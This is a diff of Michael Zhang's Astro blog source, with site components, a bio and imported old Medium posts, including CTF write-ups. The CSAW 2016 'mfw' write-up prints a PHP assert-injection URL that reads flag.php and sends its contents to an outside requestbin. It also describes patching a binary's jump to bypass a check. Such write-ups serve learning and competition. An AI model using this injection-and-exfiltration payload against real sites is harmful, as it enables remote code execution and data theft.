+transport {l₁} {l₂} {A} {x} {y} P refl = id
+
+infix 4 _≢_
+_≢_ : ∀ {A : Set} → A → A → Set
+x ≢ y  =  ¬ (x ≡ y)
+
+module dependent-product where
+  infixr 4 _,_
+  infixr 2 _×_
+
+  record Σ {l₁ l₂} (A : Set l₁) (B : A → Set l₂) : Set (l₁ ⊔ l₂) where
+    constructor _,_
+    field
+      fst : A
+      snd : B fst
+  open Σ
+  {-# BUILTIN SIGMA Σ #-}
+  syntax Σ A (λ x → B) = Σ[ x ∈ A ] B
+
+  _×_ : {l : Level} (A B : Set l) → Set l
+  _×_ A B = Σ A (λ _ → B)
+open dependent-product public
+
+_∘_ : {A B C : Set} (g : B → C) → (f : A → B) → A → C
+(g ∘ f) a = g (f a)
+
+_∼_ : {A B : Set} (f g : A → B) → Set
+_∼_ {A} f g = (x : A) → f x ≡ g x
+
+postulate
+  funExt : {l : Level} {A B : Set l}
+    → {f g : A → B}
+    → ((x : A) → f x ≡ g x)
+    → f ≡ g

src/components/Footer.astro

@@ -1,16 +1,27 @@
 ---
 import "../styles/footer.scss";
+import { execSync } from "node:child_process";
+
+const dateUpdated = new Date();
+const gitRevShort = execSync("git rev-parse --short HEAD").toString().trim();
+const gitRev = execSync("git rev-parse HEAD").toString().trim();
 ---
 
 <footer>
   <p>
-    Blog code licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.txt" target="_blank"
+    Blog theme and contents written by Michael Zhang with the <a
-      >[GPL-3.0]</a
+      href="https://astro.build/"
-    >. Post contents licensed under <a
+      target="_blank"
-      href="https://creativecommons.org/licenses/by-sa/4.0/legalcode.txt">[CC BY-SA 4.0]</a
+      rel="noreferrer noopener">Astro</a
+    > framework.
+    <br />
+    Last updated {dateUpdated.toLocaleString(undefined, { dateStyle: "full" })} at commit
+    <a
+      href={`https://git.mzhang.io/michael/blog/commit/${gitRev}`}
+      class="colorlink"
+      target="_blank">{gitRevShort}</a
     >.
     <br />
-     Written by Michael Zhang.
+    <a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">Source code</a>.
-    <a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">[Source]</a>.
   </p>
 </footer>

src/components/JsCode.astro

@@ -0,0 +1,7 @@
+---
+interface Props {}
+
+const {} = Astro.props;
+console.log("SHIET", Astro.props);
+console.log("SHIET", await Astro.slots.render("default"));
+---

src/components/LeftNav.astro

@@ -4,15 +4,21 @@ import { Content as ShortBio } from "../content/partials/shortBio.md";
 import links from "../data/links";
 import { Image } from "astro:assets";
 import portrait from "../assets/self.png";
+
+const target = Astro.url.pathname === "/" ? "/about/" : "/";
 ---
 
 <nav class="side-nav">
   <div class="side-nav-content">
-    <a href="/" class="portrait">
+    <a href={target} class="portrait" data-astro-prefetch>
-      <Image src={portrait} alt="portrait" class="portrait" />
+      <Image src={portrait} alt="portrait" class="portrait" width={350} height={350} loading="eager" />
     </a>
     <div class="me">
-      <h1 class="title">Michael Zhang</h1>
+      <div class="titleContainer">
+        <h1 class="title">
+          <a href={target} data-astro-prefetch>Michael Zhang</a>
+        </h1>
+      </div>
       <div class="links">
         {
           links.map((link) => {
@@ -28,7 +34,7 @@ import portrait from "../assets/self.png";
 
     <div class="bio">
       <ShortBio />
-      <a href="/about">More &raquo;</a>
+      <a href="/about/">More &raquo;</a>
     </div>
   </div>
 </nav>

src/components/PostList.astro

@@ -2,35 +2,75 @@
 import { getCollection, type CollectionEntry } from "astro:content";
 import Timestamp from "./Timestamp.astro";
 import { sortBy } from "lodash-es";
+import TagList from "./TagList.astro";
 
 interface Props {
   basePath: string;
-  includeDrafts?: boolean;
+  /** Whether or not to include drafts in this list */
+  drafts?: "exclude" | "include" | "only";
+  filteredPosts?: Post[];
+  class?: string | undefined;
+  timeFormat?: string | undefined;
+  collection?: string;
 }
 
 type Post = CollectionEntry<"posts">;
-const { basePath, includeDrafts } = Astro.props;
+const {
-const filter = includeDrafts ? (_: Post) => true : (post: Post) => !post.data.draft;
+  class: className,
-const allPosts = await getCollection("posts", filter);
+  basePath,
+  drafts: includeDrafts,
+  filteredPosts,
+  timeFormat,
+  collection,
+} = Astro.props;
+
+type FilterFn = (_: Post) => boolean;
+
+function unreachable(): never {
+  throw new Error("unreachable");
+}
+
+function getFilter(): FilterFn {
+  switch (includeDrafts) {
+    case "exclude":
+    case undefined:
+      return (post: Post) => !post.data.draft;
+    case "include":
+      return (_: Post) => true;
+    case "only":
+      return (post: Post) => post.data.draft === true;
+  }
+  return unreachable();
+}
+
+const filter = getFilter();
+let allPosts;
+if (filteredPosts) allPosts = filteredPosts.filter(filter);
+else allPosts = await getCollection(collection ?? "posts", filter);
+
 const sortedPosts = sortBy(allPosts, (post) => -post.data.date);
 ---
 
-<table class="postListing">
+<table class={`postListing ${className}`}>
   {
     sortedPosts.map((post) => {
       return (
-        <tr class="row">
+        <>
-          <td class="info">
+          <tr class="row">
-            <Timestamp timestamp={post.data.date} />
+            <td>
-          </td>
+              <div class="title">
-          <td>
+                <a href={`${basePath}/${post.slug}/`} class="brand-colorlink">
-            <span class="title">
+                  {post.data.title}
-              <a href={`${basePath}/${post.slug}`} class="brand-colorlink">
+                </a>
-                {post.data.title}
+              </div>
-              </a>
+              <div>
-            </span>
+                <Timestamp timestamp={post.data.date} format={timeFormat} />
-          </td>
+                &middot;
-        </tr>
+                <TagList tags={post.data.tags} />
+              </div>
+            </td>
+          </tr>
+        </>
       );
     })
   }
@@ -39,14 +79,32 @@ const sortedPosts = sortBy(allPosts, (post) => -post.data.date);
 <style lang="scss">
   .postListing {
     width: 100%;
-    border-spacing: 6px;
+    border-spacing: 0px 24px;
+
+    :global(.timestamp) {
+      font-family: var(--monofont);
+      color: var(--smaller-text-color);
+      font-size: 0.75em;
+    }
+
+    :global(.tags) {
+      gap: 8px;
+      display: inline-flex;
+
+      :global(.tag) {
+        background-color: inherit;
+        padding: 0;
+      }
+    }
 
     td {
-      // padding-bottom: 10px;
+      line-height: 1;
-      // line-height: 1;
+      display: flex;
+      flex-direction: column;
+      gap: 4px;
 
       .title {
-        font-size: 1.1em;
+        font-size: 12pt;
       }
 
       .summary {
@@ -65,6 +123,11 @@ const sortedPosts = sortBy(allPosts, (post) => -post.data.date);
       font-size: 0.75em;
       white-space: nowrap;
       text-align: right;
+      vertical-align: baseline;
+
+      .spacer {
+        font-size: 12pt;
+      }
     }
   }
 </style>

src/components/TagList.astro

@@ -0,0 +1,18 @@
+---
+import "../styles/tagList.scss";
+
+const { extraFront, tags, extraBack } = Astro.props;
+---
+
+<div class="tags">
+  {extraFront}
+  {
+    tags.toSorted().map((tag: string) => (
+      <a href={`/tags/${tag}/`} class="tag">
+        <i class="fa fa-tag" aria-hidden="true" />
+        <span class="text">#{tag}</span>
+      </a>
+    ))
+  }
+  {extraBack}
+</div>

src/components/Timestamp.astro

@@ -1,14 +1,13 @@
 ---
 interface Props {
   timestamp: Date;
+  format?: string | undefined;
 }
 
-const { timestamp } = Astro.props;
+const { timestamp, format: customFormat } = Astro.props;
-const datestamp = timestamp.toLocaleDateString(undefined, {
+import { format } from "date-fns";
-  year: "numeric",
-  month: "short",
-  day: "numeric",
-});
 ---
 
-<span title={timestamp.toISOString()}>{datestamp}</span>
+<span class="timestamp" title={timestamp.toISOString()}>
+  {format(timestamp, customFormat ?? "yyyy MMM dd")}
+</span>

src/components/TocWrapper.astro

@@ -0,0 +1,128 @@
+---
+import type { MarkdownHeading } from "astro";
+import "../styles/toc.scss";
+
+interface Props {
+  toc: boolean;
+  headings: MarkdownHeading[];
+}
+
+const { toc, headings } = Astro.props;
+const minDepth = Math.min(...headings.map((heading) => heading.depth));
+---
+
+{
+  toc ? (
+    <>
+      <div class="toc-wrapper">
+        <slot />
+        <div class="toc">
+          <h3 class="title">Table of contents</h3>
+          <ul>
+            {headings.map((heading) => {
+              const depth = heading.depth - minDepth;
+              const padding = 10 * Math.pow(0.85, depth);
+              const fontSize = 14 * Math.pow(0.9, depth);
+              return (
+                <li>
+                  <a
+                    href={`#${heading.slug}`}
+                    id={`${heading.slug}-link`}
+                    style={`padding: ${padding}px;`}
+                  >
+                    <span style={`padding-left: ${depth * 10}px; font-size: ${fontSize}px;`}>
+                      {heading.text}
+                    </span>
+                  </a>
+                </li>
+              );
+            })}
+          </ul>
+        </div>
+      </div>
+    </>
+  ) : (
+    <slot />
+  )
+}
+
+<script define:vars={{ toc, headings }}>
+  if (toc) {
+    const headingTags = new Set(["h1", "h2", "h3", "h4", "h5", "h6"]);
+    const headingsMap = new Map([...headings.map((heading) => [heading.slug, new Set()])]);
+    const reverseHeadingMap = new Map();
+    const linkMap = new Map();
+
+    document.addEventListener("DOMContentLoaded", function () {
+      const visibleElements = new Map();
+
+      // Register links
+      for (const heading of headings) {
+        const link = document.getElementById(`${heading.slug}-link`);
+        const el = document.getElementById(heading.slug);
+        if (link && el) {
+          linkMap.set(heading.slug, link);
+          link.addEventListener("click", (e) => {
+            el.scrollIntoView({ behavior: "smooth" });
+            e.preventDefault();
+          });
+        }
+        if (!visibleElements.has(heading.slug)) {
+          visibleElements.set(heading.slug, new Set());
+        }
+      }
+
+      const observer = new IntersectionObserver((entries) => {
+        for (const entry of entries) {
+          const target = entry.target;
+          const slug = reverseHeadingMap.get(target);
+          const link = linkMap.get(slug);
+          const associatedEls = visibleElements.get(slug);
+
+          if (entry.isIntersecting) {
+            // if it wasn't previously visible
+            // let's make the link active
+            if (associatedEls.size === 0) {
+              link.parentNode.classList.add("active");
+            }
+
+            associatedEls.add(target);
+          } else {
+            // if it was previously visible
+            // check if it's the last element
+            if (associatedEls.size > 0) {
+              if (associatedEls.size === 1) link.parentNode.classList.remove("active");
+            }
+
+            if (associatedEls.size > 0) {
+              associatedEls.delete(target);
+            }
+
+            ratioMap.delete(target);
+          }
+        }
+      });
+
+      const postContentEl = document.getElementById("post-content");
+
+      let belongsTo;
+      for (const child of postContentEl.children) {
+        if (headingTags.has(child.tagName.toLowerCase())) {
+          belongsTo = child.id;
+        }
+
+        if (belongsTo) {
+          const headingSet = headingsMap.get(belongsTo);
+          headingSet.add(child);
+          reverseHeadingMap.set(child, belongsTo);
+        }
+      }
+
+      [...headingsMap.values()]
+        .flatMap((x) => [...x])
+        .forEach((x) => {
+          observer.observe(x);
+        });
+    });
+  }
+</script>

src/consts.ts

@@ -1,5 +1,5 @@
 // Place any global data in this file.
 // You can import this data from anywhere in your site by using the `import` keyword.
 
-export const SITE_TITLE = 'Astro Blog';
+export const SITE_TITLE = "Michael's Blog";
-export const SITE_DESCRIPTION = 'Welcome to my website!';
+export const SITE_DESCRIPTION = "Michael's Blog";

src/content/config.ts

@@ -4,25 +4,31 @@ const posts = defineCollection({
   type: "content",
 
   // Type-check frontmatter using a schema
-  schema: z.object({
+  schema: ({ image }) =>
-    title: z.string(),
+    z.object({
-    date: z.date(),
+      title: z.string(),
+      date: z.date(),
 
-    // Transform string to Date object
+      // Transform string to Date object
-    pubDate: z
+      pubDate: z
-      .string()
+        .string()
-      .or(z.date())
+        .or(z.date())
-      .transform((val) => new Date(val))
+        .transform((val) => new Date(val))
-      .optional(),
+        .optional(),
-    updatedDate: z
+      updatedDate: z
-      .string()
+        .string()
-      .optional()
+        .optional()
-      .transform((str) => (str ? new Date(str) : undefined))
+        .transform((str) => (str ? new Date(str) : undefined))
-      .optional(),
+        .optional(),
 
-    tags: z.array(z.string()),
+      heroImage: image().optional(),
-    draft: z.boolean().default(false),
+      heroAlt: z.string().optional(),
-  }),
+
+      tags: z.array(z.string()).default([]),
+      draft: z.boolean().default(false),
+      math: z.boolean().default(false),
+      toc: z.boolean().default(false),
+    }),
 });
 
 export const collections = { posts };

src/content/partials/shortBio.md

@@ -1,8 +1,15 @@
-I'm a masters student at the University of Minnesota advised by [Favonia]. I
+I'm a computer science master's student at the [University of Minnesota][1], advised by [Favonia].
-previously worked as a Software Developer at [AWS] and [SIFT]. My
+My current research topic is in cubical type theory and formalization of the Serre spectral sequence.
-computing-related interests lie in programming language design and formal
-verification, systems security, cryptography, and distributed systems.
 
+I've also worked as a researcher for [SIFT], specializing in compilers and binary analysis. Previously I worked as a software engineer at [Swoop Search] and [AWS].
+
+Before that, I was a CTF hobbyist. I created [EasyCTF], a cybersecurity competition for high schoolers.
+I also briefly played with the CTF team [Project Sekai][pjsk].
+
+[1]: https://twin-cities.umn.edu/
+[Swoop Search]: https://swoopsrch.com/
 [aws]: https://aws.amazon.com/
 [sift]: https://www.sift.net/
 [favonia]: https://favonia.org/
+[easyctf]: https://www.easyctf.com/
+[pjsk]: https://sekai.team/

src/content/posts/2014-12-28_How-to-accomplish-something.md

@@ -0,0 +1,31 @@
+---
+title: How to accomplish something.
+date: 2014-12-28T06:18:06.940Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+    <section data-field="subtitle" class="p-summary">
+        It’s really simple.
+    </section>
+    <section data-field="body" class="e-content">
+        <section name="d840" class="section section--body section--first section--last">
+            <div class="section-content">
+                <div class="section-inner sectionLayout--insetColumn">
+                    <p name="c074" id="c074" class="graf graf--p graf-after--h3">Don’t.</p>
+                    <p name="8add" id="8add" class="graf graf--p graf-after--p">Give.</p>
+                    <p name="2290" id="2290" class="graf graf--p graf-after--p">Up.</p>
+                    <p name="6014" id="6014" class="graf graf--p graf-after--p graf--trailing">Simple.</p>
+                </div>
+            </div>
+        </section>
+    </section>
+    <footer>
+        <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+                href="https://medium.com/p/f5c2ca623a76"><time class="dt-published"
+                    datetime="2014-12-28T06:18:06.940Z">December 28, 2014</time></a>.</p>
+        <p><a href="https://medium.com/@failedxyz/how-to-accomplish-something-f5c2ca623a76"
+                class="p-canonical">Canonical link</a></p>
+        <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+    </footer>
+</article>

src/content/posts/2015-03-19_A-Much-Needed-Apology.md

@@ -0,0 +1,74 @@
+---
+title: A Much-Needed Apology
+date: 2015-03-19T23:34:26.674Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="276e" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="cbee" id="cbee" class="graf graf--p graf-after--h3">If you’re participating in CTCTF this week, I
+            know it has been a hard week, and I have a huge apology to make, about several things.</p>
+          <p name="aa08" id="aa08" class="graf graf--p graf-after--p">I should not have helped out with this CTF. I
+            didn’t have much time to work on it, I was busy with school, and it really wasn’t a good time for me to be
+            doing it. However, I was really stupid so I decided to jump in anyway.</p>
+          <p name="def7" id="def7" class="graf graf--p graf-after--p"><strong
+              class="markup--strong markup--p-strong">If you’re in a rush, and you don’t care about all this stuff,
+              skip down to the bottom for the final hint.</strong></p>
+          <h4 name="dae6" id="dae6" class="graf graf--h4 graf-after--p">Backend</h4>
+          <p name="a52e" id="a52e" class="graf graf--p graf-after--h4">The website backend problems were completely my
+            fault. Things like the problems page saying your problem was unsolved when you actually received points
+            for it, or not being able to submit answers for problems because it said “You’ve already tried this.” Part
+            of this was not havingenough time to thoroughly test the server and catch all the problems.</p>
+          <h4 name="a9f0" id="a9f0" class="graf graf--h4 graf-after--p">IRC</h4>
+          <p name="6939" id="6939" class="graf graf--p graf-after--h4">This really isn’t my problem. But I’ll address
+            it anyway. The biggest problem was the choice of using Pdgn server. It works well for its purpose, and
+            does serve all its values. But it was too underdeveloped to use in an actual CTF, lacking features
+            including:</p>
+          <ul class="postList">
+            <li name="c5b2" id="c5b2" class="graf graf--li graf-after--p">Authentication — people just stole other
+              people’s usernames.</li>
+            <li name="379e" id="379e" class="graf graf--li graf-after--li">Operators — we lost all ops in the original
+              channel <em class="markup--em markup--li-em">and</em> the new channel.</li>
+            <li name="033c" id="033c" class="graf graf--li graf-after--li">Connection issues—we got lots of ECONNRESET
+              issues with KiwiIRC.</li>
+          </ul>
+          <h4 name="dd66" id="dd66" class="graf graf--h4 graf-after--li">Problems</h4>
+          <p name="1114" id="1114" class="graf graf--p graf-after--h4">I don’t know what to say about this. I urged
+            the other team members to shorten the duration of the competition to 3 days, but they wouldn’t budge, so
+            we ended up having a 7-day competition with only 20 easy problems. My friend said he solved all but 2 of
+            them in an hour.</p>
+          <p name="e3aa" id="e3aa" class="graf graf--p graf-after--p">We weren’t even going to use 1023megabytes
+            originally. But because of the immediate lack of problems, I figured we would need it.</p>
+          <p name="ebdb" id="ebdb" class="graf graf--p graf-after--p">When the competition started, there were only 18
+            questions up. I wrote “3 hard 3 me” in about 15 minutes during class. If you’re running a competition,
+            you’d want to keep your participants’ interests as long as possible; there’s no point if everyone quits
+            after a day — which is basically what happened.</p>
+          <p name="6d7d" id="6d7d" class="graf graf--p graf-after--p">I figured the purpose of creating such an
+            insanely BS problem was to keep people interested in the CTF, but also to keep the mods (who are on the
+            verge of quitting) motivated to keep going. I originally planned to give a lot of hints, and here is the
+            last one.</p>
+          <h4 name="110a" id="110a" class="graf graf--h4 graf-after--p">Hints</h4>
+          <p name="a74e" id="a74e" class="graf graf--p graf-after--h4">This is the final hint for “3 hard 3 me”: base
+            16, base 2, base 3.</p>
+          <p name="25ea" id="25ea" class="graf graf--p graf-after--p">For 1023megabytes, you probably already made
+            some connection between me and a group called the Donut Mafia. Try to find our fundraising website, and
+            the flag will be on a userpage.</p>
+          <p name="a67a" id="a67a" class="graf graf--p graf-after--p graf--trailing">I feel like I owe this to
+            everyone for a bad competition and hope you forgive me for all these mistakes. They won’t happen again. I
+            guess I’ll see you guys at the next CTF.</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/8f50537a8932"><time class="dt-published" datetime="2015-03-19T23:34:26.674Z">March
+          19, 2015</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/a-much-needed-apology-8f50537a8932" class="p-canonical">Canonical
+        link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2015-10-20_Pwnable-kr--fd--1.md

@@ -0,0 +1,44 @@
+---
+title: "Pwnable.kr: fd (1)"
+date: 2015-10-20T18:20:38.431Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="1d23" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="ec7e" id="ec7e" class="graf graf--p graf-after--h3">This is my first writeup. The problem reads:
+          </p>
+          <blockquote name="b33e" id="b33e" class="graf graf--blockquote graf-after--p">Mommy! what is a file
+            descriptor in Linux?<br>ssh fd@pwnable.kr -p2222 (pw:guest)</blockquote>
+          <p name="0cc2" id="0cc2" class="graf graf--p graf-after--blockquote">Since it tells us to SSH to their
+            server, we’ll do that. Upon logging in, we find fd, an executable binary, fd.c, the source file, and flag,
+            the target file we are trying to read, but is currently protected by root. Let’s begin by analyzing fd.c.
+          </p>
+          <p name="3ba1" id="3ba1" class="graf graf--p graf-after--p">At the if statement, the program is checking buf
+            against the string LETMEWIN. Where is buf being read? It’s being read from a variable called fd, which is
+            a <a href="https://en.wikipedia.org/wiki/File_descriptor"
+              data-href="https://en.wikipedia.org/wiki/File_descriptor" class="markup--anchor markup--p-anchor"
+              rel="noopener" target="_blank"><strong class="markup--strong markup--p-strong">file
+                descriptor</strong></a>. Since the only way we can give input to the program is STDIN_FILENO, we have
+            to make sure fd is set to 0.</p>
+          <p name="a905" id="a905" class="graf graf--p graf-after--p">According to the code, fd is calculated by atoi(
+            argv[1] ) — 0x1234: it converts the user input into an integer and subtracts 0x1234, or 4660 in decimal.
+            To make fd equal to 0, we simply pass 4660 as an argument. This should cause the program to prompt us for
+            input. Now we just enter LETMEWIN, and it should print out the flag :)</p>
+          <blockquote name="8dca" id="8dca" class="graf graf--blockquote graf-after--p graf--trailing">mommy! I think
+            I know what a file descriptor is!!</blockquote>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/f9b66ed3a312"><time class="dt-published"
+          datetime="2015-10-20T18:20:38.431Z">October 20, 2015</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/pwnable-kr-fd-1-f9b66ed3a312" class="p-canonical">Canonical link</a></p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2016-09-07_So--I-started-a-blog.md

@@ -0,0 +1,34 @@
+---
+title: So. I started a blog.
+date: 2016-09-07T20:18:04.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="3307" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="d54d" id="d54d" class="graf graf--p graf-after--h3">Hi. I’m Michael, a college freshman at the
+            University of Minnesota. I love writing code, and I would frequently participate in capture-the-flag (CTF)
+            competitions! I might be posting more about those here.</p>
+          <p name="138d" id="138d" class="graf graf--p graf-after--p">I’ll use this space to rant about life. And post
+            CTF writeups too (maybe).</p>
+          <p name="2f45" id="2f45" class="graf graf--p graf-after--p graf--trailing">I’m really trying to change my
+            study/life habits now that I have more freedom. More specifically, going to sleep at 3:00am every day
+            isn’t going to work anymore. Recently I started waking up at 6:15am and I think getting things done in the
+            morning is even easier than getting things done at night for me. Only problem is the waking up part. I’ll
+            try it for a couple weeks and I’ll let you guys know how it goes.</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/f2d0db8a955d"><time class="dt-published"
+          datetime="2016-09-07T20:18:04.000Z">September 7, 2016</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/so-i-started-a-blog-f2d0db8a955d" class="p-canonical">Canonical link</a>
+    </p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2016-09-18_CSAW-CTF-2016-Quals.md

@@ -0,0 +1,98 @@
+---
+title: CSAW CTF 2016 Quals
+date: 2016-09-18T23:04:12.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="81bc" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="3250" id="3250" class="graf graf--p graf-after--h3">Over the weekend, I worked with the team
+            Gophers in the Shell on CSAW CTF 2016. We ended up placing 317th place, with 401 points. Here I’m going to
+            document the problems that I solved during the competition.</p>
+          <h3 name="74cf" id="74cf" class="graf graf--h3 graf-after--p">Coinslot</h3>
+          <p name="7bae" id="7bae" class="graf graf--p graf-after--h3">For 25 points, the objective of this problem is
+            to output which coins/bills are needed for a given amount of money. When you connect to the server, it
+            will give you an amount in the form of $100.00 and then proceed to ask questions like $10,000 bills?. To
+            do this, I wrote a Python client to interact with the server.</p>
+          <pre name="7d34" id="7d34"
+            class="graf graf--pre graf-after--p">import socket<br>s = socket.socket()<br>s.connect((“misc.chal.csaw.io”, 8000))</pre>
+          <pre name="8c45" id="8c45"
+            class="graf graf--pre graf-after--pre">def recv(end=’\n’):<br>    c, t = ‘’, ‘’<br>    while c != end:<br>    c = s.recv(1)<br>    t += c<br>    return t</pre>
+          <p name="79eb" id="79eb" class="graf graf--p graf-after--pre">This code will open a connection to the server
+            and read input until a certain character is reached. The algorithm for this problem is rather simple;
+            starting from the largest denomination ($10,000 bills), check if the remaining amount is greater than the
+            denomination (in other words, if that bill/coin can be used to pay the remaining amount), and then
+            subtract the largest multiple of that bill/coin from the remaining amount. In code, that looks like this:
+          </p>
+          <pre name="8793" id="8793"
+            class="graf graf--pre graf-after--p">r = recv()<br>amt = int(r.strip(“$”).strip().replace(“.”, “”))<br>print amt<br>for denom in denoms:<br>    n = amt // denom<br>    s.send(“%d\n” % n)<br>    amt %= denom<br>recv()</pre>
+          <p name="2a5d" id="2a5d" class="graf graf--p graf-after--pre">Upon success, the server will then ask another
+            amount. I didn’t keep track of how many times it asked, but I wrapped the above code in a <code
+              class="markup--code markup--p-code">while True</code> loop and eventually I got the flag.</p>
+          <h3 name="bc76" id="bc76" class="graf graf--h3 graf-after--p">mfw</h3>
+          <p name="0e1b" id="0e1b" class="graf graf--p graf-after--h3">In this challenge we were presented with a site
+            with a navigation bar. On the About page, it tells you that the site was made with Git, PHP, and
+            Bootstrap. Upon seeing git, I immediately thought to check if the <code
+              class="markup--code markup--p-code">.git</code> folder was actually stored in the www root, and it was!
+            I ripped the git folder off the site and cloned it to restore the original folder structure.</p>
+          <p name="34a9" id="34a9" class="graf graf--p graf-after--p">There was a <code
+              class="markup--code markup--p-code">flag.php</code> in the templates folder, but the actual flag was
+            missing. That means I had to retrieve the flag from the actual server.</p>
+          <p name="c3f9" id="c3f9" class="graf graf--p graf-after--p">From the way the navigation bar was constructed,
+            it looks like I need to use local file inclusion. But I couldn’t use php’s <code
+              class="markup--code markup--p-code">base64</code> filter to print the contents of <code
+              class="markup--code markup--p-code">flag.php</code> because the <code
+              class="markup--code markup--p-code">$file</code> variable will stick ”templates/” to the front of the
+            given page before it’s <code class="markup--code markup--p-code">require_once</code>’d.</p>
+          <p name="c2bf" id="c2bf" class="graf graf--p graf-after--p">The trick to solving this one is injecting PHP
+            commands in the assert statements. I suspect that writing to the filesystem has been blocked. So instead,
+            I made a <a href="http://requestb.in" data-href="http://requestb.in"
+              class="markup--anchor markup--p-anchor" rel="noopener" target="_blank">requestbin</a> that I would make
+            a GET request to, containing the contents of <code class="markup--code markup--p-code">flag.php</code>!
+          </p>
+          <p name="61df" id="61df" class="graf graf--p graf-after--p">The page I requested was:</p>
+          <pre name="8255" id="8255"
+            class="graf graf--pre graf-after--p">http://web.chal.csaw.io:8000/?page=flag%27+%2B+fopen%28%27http%3A%2F%2Frequestb.in%2F1l5k31z1%3Fp%3D%27+.+urlencode%28file_get_contents%28%27templates%2Fflag.php%27%29%29%2C+%27r%27%29+%2B+%27</pre>
+          <p name="80fb" id="80fb" class="graf graf--p graf-after--pre">Un-URL encoded, this looks like:</p>
+          <pre name="4d99" id="4d99"
+            class="graf graf--pre graf-after--p">flag’ + fopen(‘http://requestb.in/1l5k31z1?p=&#39; . urlencode(file_get_contents(‘templates/flag.php’)), ‘r’) + ‘</pre>
+          <p name="e3c2" id="e3c2" class="graf graf--p graf-after--pre">As you can see, I’m reading the contents of
+            <code class="markup--code markup--p-code">flag.php</code>, URL-encoding it, and sending it to this
+            requestbin. This way, I can retrieve it from the requestbin later.
+          </p>
+          <h3 name="1a12" id="1a12" class="graf graf--h3 graf-after--p">Gametime</h3>
+          <p name="b5b0" id="b5b0" class="graf graf--p graf-after--h3">I got this close to the end of the competition,
+            but it suddenly hit me that if I just invert the condition of (if you hit the right key), then it will
+            think you win if you do absolutely nothing. Since they distributed the binary file instead of hosting it
+            on a server, this means I could just patch the binary file and re-run it.</p>
+          <p name="5875" id="5875" class="graf graf--p graf-after--p">I opened the exe in IDA, and used Alt+T to
+            search for <code class="markup--code markup--p-code">UDDER FAILURE</code>, the string it prints when you
+            fail. It actually occurs twice in the program, first during the “tutorial” level, and then during the
+            actual thing.</p>
+          <p name="3165" id="3165" class="graf graf--p graf-after--p">In both instances, right above where it prints
+            <code class="markup--code markup--p-code">UDDER FAILURE</code>, there is a <code
+              class="markup--code markup--p-code">jnz</code> that checks if the key you pressed was right. More
+            specifically, this occurs at <code class="markup--code markup--p-code">004014D5</code> and <code
+              class="markup--code markup--p-code">00401554</code>. To invert the condition, I had to change <code
+              class="markup--code markup--p-code">jnz</code> to <code class="markup--code markup--p-code">jz</code>.
+            In opcodes, that’s <code class="markup--code markup--p-code">75</code> and <code
+              class="markup--code markup--p-code">74</code>.
+          </p>
+          <p name="b409" id="b409" class="graf graf--p graf-after--p graf--trailing">Then I just ran the program
+            again, and waited for it to pass all the checks, and I got the flag!</p>
+        </div>
+      </div>
+    </section>
+  </section>
+  <footer>
+    <p>By <a href="https://medium.com/@failedxyz" class="p-author h-card">Michael Zhang</a> on <a
+        href="https://medium.com/p/f9c51dffa34"><time class="dt-published"
+          datetime="2016-09-18T23:04:12.000Z">September 18, 2016</time></a>.</p>
+    <p><a href="https://medium.com/@failedxyz/csaw-ctf-2016-quals-f9c51dffa34" class="p-canonical">Canonical link</a>
+    </p>
+    <p>Exported from <a href="https://medium.com">Medium</a> on October 8, 2024.</p>
+  </footer>
+</article>

src/content/posts/2016-10-02_H4CK1T-CTF-2016.md

@@ -0,0 +1,186 @@
+---
+title: H4CK1T CTF 2016
+date: 2016-10-02T20:46:42.000Z
+tags: [medium-blog]
+---
+
+<article class="h-entry">
+  <section data-field="body" class="e-content">
+    <section name="efb5" class="section section--body section--first section--last">
+      <div class="section-content">
+        <div class="section-inner sectionLayout--insetColumn">
+          <p name="1568" id="1568" class="graf graf--p graf-after--h3">Over the past week, I again worked with Gophers
+            in the Shell on a Ukrainian CTF called H4CK1T CTF. We finished 59th out of 1057 teams, with 2703 points.
+            Here are some of my writeups.</p>
+          <h3 name="6a51" id="6a51" class="graf graf--h3 graf-after--p">Algeria (250)</h3>
+          <p name="dab1" id="dab1" class="graf graf--p graf-after--h3">In this task we are given an encrypted image as
+            well as the encryption script. The script looks like this (condensed):</p>
+          <pre name="7b4d" id="7b4d"
+            class="graf graf--pre graf-after--p">x = random.randint(1,255)<br>y = random.randint(1,255)</pre>
+          <pre name="4540" id="4540"
+            class="graf graf--pre graf-after--pre">img_pix.putpixel((0,0),(len(FLAG),x,y))</pre>
